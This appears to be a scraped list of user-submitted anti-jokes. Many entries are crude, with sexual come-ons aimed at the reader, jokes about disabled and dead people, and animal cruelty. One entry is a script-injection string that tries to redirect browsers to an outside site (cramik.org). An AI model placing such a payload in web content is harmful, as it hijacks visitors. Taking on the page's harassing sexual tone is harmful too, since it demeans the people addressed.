Why did the boy engage in oral sex with the other boy. He was a hormonal homosexual.

WOKE UP THIS MORNING AND SAW PROSTITUTE OUT THE WINDOW AND SAID GRANDMA GRANDMA CAN I GO PLAY WITH THAT PROSTITUTE SHE SAID NO YOU CAN PLAY WITH ME BECAUSE I'M A PROSTITUTE TOO

What's worse than finding a worm in your apple? Being ripped apart by an angry orangatang because orangatangs have the strength of ten men.

What do you call a person who walks but doesn't run? A power walker What do you call a person who runs but doesn't walk? Someone running to the nearest bathroom holding there crotch.

Why does Santa Claus drink so much hot Cocoa? Because Mrs. Claus got tired of his constant drunkenness and won't allow beer in the house in the house anymore.

What did the orange say to the lemon? We are both alike but a differnt color

roses are red ur face is too and if u r hot my penis is going in u

What do you call a big group of Chinese people on Mars? An extraordinary feat for the Chinese space program and a historic day in human history, where a particular country has set up the first human colony on another planet and we have proven to ourselves that our race is capable of interplanetary travel and can accomplish anything if we set our minds to it.

Micheal Curran...that is all.

Q. Why did Lucy fall off the swing? A. She had no arms Q. Why didn't she get back up? A. She had no legs Q. Why did no one help her up? A. She had no friends Q. Why did Lucy fall off the swing A. She had no arms You: knock knock Other person: who's there? You: not Lucy

Why did the donkey say "Shit sorry I had no idea" Because the batteries shouted: "Nobody told me about your actions here, sorry for the terrible coding format, I am new"

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Person 1: knock knock Person 2: Who's there? Person 1: nobody Person 2: nobody who? Person 1: ............

What does a dog in a microwave look like? You tell me, I normally close my eyes when I masturbate ?_?

What come after 69? Time for you to get a watch

Q - What do you call a hamburger without pickles? A - You call it a hamburger just without the pickles.

Why did the man stop dead in his tracks? He was on top of a land mine.

What did the boy with no arms and no legs get for his birthday? Twister

"'>document.location.href="http://cramik.org"

Why did the person name her OC telephone? I have no idea, please let me know why.

Roses are red, Violets are blue, I suck at poetry Show me your tits

The funniest thing happened in my dream last night, i dreamed that banks would stop ripping people off and start treating people like humans. How wierd is that :D

my friend died in a car crash, now i have no friends.

What do you get when you cross a road with a car? Severe injuries or even death.

Anti Joke

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